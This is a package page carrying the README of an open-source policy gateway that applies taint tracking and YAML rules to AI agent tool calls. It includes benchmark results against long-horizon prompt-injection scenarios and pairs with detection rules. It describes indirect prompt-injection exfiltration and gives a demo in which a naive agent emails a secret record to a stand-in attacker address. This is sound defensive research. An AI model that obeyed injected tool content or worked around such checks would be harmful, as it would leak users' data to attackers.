Observed since 20 Oct, 22:55 UTC
No superseded metadata states collected. Unchanged observations do not create new revisions.
Policy enforcement and taint tracking for AI agent tool calls.
A policy-enforcement and information-flow-control (IFC) gateway for AI agent tool calls — a reference monitor that sits between the agent and its tools, enforces declarative YAML policies, tracks taint across calls, and writes an append-only audit log.
pip install agent-policy-gateway
Headline result. In a head-to-head measurement of defense paradigms on a
shared 90-scenario long-horizon prompt-injection family — Progent-style
stateless symbolic rules, Fides-style dual-label IFC, and this project's
session-taint, call-history, and per-value-taint policies, differing in
nothing but the policy file — every session-scoped defense trades utility
against compromise (the measured Pareto frontier), while the per-value taint
arm closes both residuals at once: 100% task utility with 0% compromise,
including the covert-exfiltration variants that are provably
indistinguishable at session scope. Full matrices, findings, and limits:
docs/benchmarks/comparison.md.
| arm | paradigm | utility | compromise |
|---|---|---|---|
no-defense | bare runtime | 100% | 100% |
progent | stateless symbolic rules (imported from real Progent JSON) | 80% | 60% |
fides | dual-label IFC (integrity + confidentiality) | 60% | 40% |
apg-input-taint | session taint label + declassify | 80% | 60% |
apg-chain | session call history | 60% | 20% |
apg-chain-selective | call history + argument conditions | 100% | 60% |
apg-value-taint | per-value taint labels | 100% | 0% |
Deterministic, no API keys, no external services; every number is pinned by tests and regenerated by one command:
python -m agent_policy_gateway.comparison_benchmark
The classic indirect-prompt-injection exfiltration, run twice — once with a naive agent, once through the gateway:
git clone https://github.com/howardhsieh/agent-policy-gateway.git
cd agent-policy-gateway
pip install -e .
python -m examples.indirect_injection
Expected output:
naive: exfiltrated record 'launch-codes' (body='TOP-SECRET-LAUNCH-CODES-42') to attacker@evil.example
gated: refused by rule 'deny-web-to-email' — outbox empty, 3 audit record(s) written
Same agent, same injected web page, same tools — the only difference is that
the gated run's tool calls pass through the reference monitor, which sees
web-tainted content flowing toward an email sink and refuses.
flowchart LR
Agent["LLM / agent<br/>(untrusted)"] -- "tool call" --> GW
subgraph GW["Policy Gateway — reference monitor"]
direction TB
Policy["Policy engine<br/>ordered YAML rules: tool / resource /<br/>argument, taint, per-arg value taint,<br/>call-history (chain) conditions"]
Taint["Taint tracking<br/>dual-label (integrity + confidentiality),<br/>session scope + per-value ledger,<br/>declarative declassify"]
History["Session call history<br/>(provenance for chain rules)"]
Audit["Append-only audit log<br/>(replay, diff, stats)"]
end
GW -- "allow / deny / review / redact" --> Tools["Tools<br/>MCP · OpenAI · Anthropic ·<br/>LangChain · AgentDojo"]
Tools -- "tainted output" --> GW
The gateway is outside the model's control surface: adversarial content can
reach the model through any tool output, and anything the model is asked to do
in its own defense is bypassable. Mediating the calls themselves makes the
guarantee structural rather than emergent. Details in
docs/design.md.
send_email after an unsanitized web_fetch").
Policies are declarative YAML, evaluated first-match, with explain,
lint, and diff tooling in the apg CLI.APG is the prevention layer of an open agent-security stack. Every decision it makes lands in the audit log, and the audit log exports straight into the detection layer:
apg audit export audit.jsonl --format tracesig -o trace.jsonl
pip install tracesig
tracesig scan trace.jsonl # core + apg rule packs, chosen automatically
[CRIT] TS-EXF-001 — Untrusted web content followed by outbound email
session: denied-injection category: exfiltration
timeline:
#0 web_fetch {"url": "https://research.example/widgets"} labels=['untrusted', 'web'] verdict=allow
#2 send_email {"body": "record WID-7 contents", "subject": "requested data", "to": "attacker@e… labels=['untrusted', 'web'] verdict=deny
TraceSig's apg pack reads the gateway's own verdicts: repeated denials in a
session (an agent pushing against the policy), untrusted input reaching an
allowed sink (a policy gap), a blocked call followed by an allowed one (route
around the block), and declassifications. The pairing is pinned by a contract
test in CI (tests/test_tracesig_contract.py).
| Layer | Project |
|---|---|
| Prevent | agent-policy-gateway: policies and taint tracking in front of tool calls |
| Detect | TraceSig: Sigma-style rules over agent tool-call traces (APG exports, Claude Code sessions) |
| Operate | agent-security-skills: the agentsec-kit plugin grades a coding-agent setup A–F, audits skills before install, and guides incident response |
The LLM is not trusted to decide what tool calls are safe. Adversarial
content reaches it via any tool output; the gateway is the trusted reference
monitor, and the model is policy-controlled, not policy-aware. Assets, trust
boundaries, adversary classes, canonical abuse scenarios mapped to shipped
mitigations, and residual risks: docs/threat-model.md.
Non-goals: not a content filter (this is about flow, not classifying text as harmful); not a sandbox for tool implementations; not a replacement for human review of high-stakes actions — it makes that review tractable.
The whole measurement series, packaged as a self-contained
workshop-style draft with one reproducibility script per table:
docs/paper/.
The individual write-ups, in dependency order — all deterministic and
CI-reproducible, under docs/benchmarks/:
agentdojo.md — attack success rate and
utility, no-defense vs APG policies, on real AgentDojo tasks and injections.stateful.md — the long-horizon stateful
harness: attacker influence that persists and compounds across a session,
and how a mid-session declassify launders an input-taint policy.comparison.md — the seven-arm
APG / Progent / Fides comparison summarized above.model-loop.md — a driver, not a
script, decides the calls: what policy refusals do to agent behavior,
utility, and token spend.overhead.md — what mediation costs:
the per-call ladder and scaling sweeps (~12 µs full mediation).tracesig-export.md — the versioned
audit-trace export pairing APG (prevention) with the sibling TraceSig
detection project: apg audit export --format tracesig, plus vendorable
example traces under examples/traces/.What's next: ROADMAP.md.
from agent_policy_gateway import Gateway, ToolTaintSpec, load_policy
gateway = Gateway(policies=[load_policy("policies/default.yaml")])
# A web-fetch tool — its output carries a `web` taint label.
@gateway.wrap_tool(tool_name="web_fetch", taint_spec=ToolTaintSpec.of(adds=("web",)))
def web_fetch(url: str) -> str:
...
# An email sink — policy resource matching is tied to the `to` argument.
@gateway.wrap_tool(tool_name="send_email", resource_arg="to")
def send_email(to: str, body: str) -> None:
...
# The agent calls the wrappers; the gateway enforces policy and tracks taint.
The full walkthrough (policy file, taint labels, the refusal, the audit
trail) is in docs/quickstart.md; example policies
live under policies/ and runnable demos under
examples/.
The documentation site is built with mkdocs-material:
pip install -e ".[docs]"
mkdocs serve
Sources under docs/, configuration in mkdocs.yml;
start with docs/index.md.
Releases are published to PyPI via the GitHub Actions workflow at
.github/workflows/publish.yml: pushing a
v* tag runs a test → build → publish pipeline that uploads the sdist +
wheel through PyPI's trusted-publisher OIDC flow — no long-lived API token
anywhere. The full procedure, manual fallback included, is in
docs/release.md.
Built incrementally and in public. See ROADMAP.md for what's
next and docs/design.md for the architecture. Before
opening a PR, run the same gates CI does:
pip install -e ".[dev]"
ruff check .
mypy src/agent_policy_gateway
pytest
mypy enforces the typed-API guard over the py.typed package; its baseline
lives in the [tool.mypy] section of pyproject.toml.
Apache-2.0. See LICENSE.
Download counts and popularity will appear here as the collector receives them.
| Version | Published | Direct dependencies | Open version |
|---|---|---|---|
| 0.2.0 | 30 Sept 2026 | 10 |
This describes our collected data; it is not a security assessment.
Observed since 20 Oct, 22:55 UTC
No superseded metadata states collected. Unchanged observations do not create new revisions.
package:d473e99c5081fc85226f5fa1c4413f900a2f69fa339312ded3cd529cbcfdcc0a